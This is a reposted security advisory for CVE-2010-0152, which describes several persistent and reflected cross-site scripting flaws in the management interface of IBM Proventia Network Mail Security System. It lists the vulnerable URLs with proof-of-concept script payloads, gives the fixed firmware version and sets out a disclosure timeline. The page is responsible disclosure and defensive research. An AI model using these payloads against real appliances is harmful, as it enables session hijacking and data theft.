ignore security and it'll go away

Proventia Network Mail Security System Cross Site Scripting

Proventia Network Mail Security System Cross Site Scripting
Posted Sep 14, 2010
Authored by Dr. Marian Ventuneac

Web-based Local Management Interface (LMI) of IBM Proventia Network Mail Security System appliance (firmware 1.6 and 2.5) is vulnerable to multiple persistent and reflected XSS attacks. When exploited by an external/internal attacker, such identified vulnerabilities could lead to Session Hijack, Information Disclosure, force installation of malicious file or Trojan on users' PCs, etc.

tags | exploit, web, local, trojan, vulnerability, info disclosure
advisories | CVE-2010-0152
MD5 | d000347eefac0631f9db2c32676ba011

Proventia Network Mail Security System Cross Site Scripting

Change Mirror Download

Security Advisory: MVSA-10-007 / CVE-2010-0152
Vendor: IBM
Products: Proventia Network Mail Security System
Vulnerabilities: Multiple Cross-Site Scripting (XSS)
Risk: High
Attack Vector: From Remote
Authentication: Not Required/Required
Reference: http://www.ventuneac.net/security-advisories/MVSA-10-007



Description

Web-based Local Management Interface (LMI) of IBM Proventia Network Mail Security System appliance (firmware 1.6 and 2.5) is vulnerable to multiple persistent and reflected XSS attacks. When exploited by an external/internal attacker, such identified vulnerabilities could lead to Session Hijack, Information Disclosure, force installation of malicious file or Trojan on users' PCs, etc.

A persistent XSS vulnerability can be exploited by an external unauthenticated attacker to inject malicious scripting code which is persistently stored. When the system is accessed by authorised users, such malicious code could be used to severely compromise the security of the appliance.

A persistent XSS vulnerability identified in saved search filters (Mail Security->Email Browser) allows an internal authenticated attacker to inject malicious scripting code.

Multiple reflected XSS vulnerabilities can be exploited by manipulating parameters of pvm_messagestore.php resource.

url_placeholder/pvm_messagestore.php?msgid=&sender=&rcpt=&subject=&meta=&mailsize=&folder=allfolders&date1=<script>alert('xss')</script>&date2=&s=mails&favname=

Reflected XSS vulnerabilities can be exploited by manipulating parameters of the following resources:

* userfilter parameter of pvm_user_management.php resource.

url_placeholder/pvm_user_management.php?userfilter=1%22+onblur%3D%22alert%28%27xss%27%29

* ping parameter of sys_tools.php

url_placeholder/sys_tools.php?form=ping&page=sys_ping.php&ping=<script>alert(document.cookie)</script>

* action parameter of pvm_cert_commaction.php resource

url_placeholder/pvm_cert_commaction.php?ajax=1&action=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76; %26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

* action parameter of pvm_cert_serveraction.php resource.

url_placeholder/pvm_cert_serveraction.php ?ajax=1&action=>"'><script>alert(document.cookie)</script>

* action parameter of pvm_smtpstore.php resource.

url_placeholder/pvm_smtpstore.php?id=frozen&action="><script>alert("XSS")</script>

* l parameter of /sla/index.php resource

url_placeholder/sla/index.php?l="><script>alert(document.cookie)</script>


Affected Versions

IBM Proventia Network Mail Security System - virtual appliance (firmware 1.6)
IBM Proventia Network Mail Security System - virtual appliance (firmware 2.5)


Mitigation

Vendor recommends upgrading to PNMSS firmware 2.5.0.2 or later.
Alternatively, please contact IBM for technical support.


Disclosure Timeline

2009, November 07: Vulnerabilities discovered and documented
2009, November 08: Notification sent to IBM
2009, November 09: IBM acknowledges receiving the report
2010, March: IBM releases PNMSS Firmware 2.5.0.2 correcting the reported issues
2010, September 12: MVSA-10-007 advisory published.


Credits

Dr. Marian Ventuneac
http://ventuneac.net

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    11 Files
  • 19
    Oct 19th
    3 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close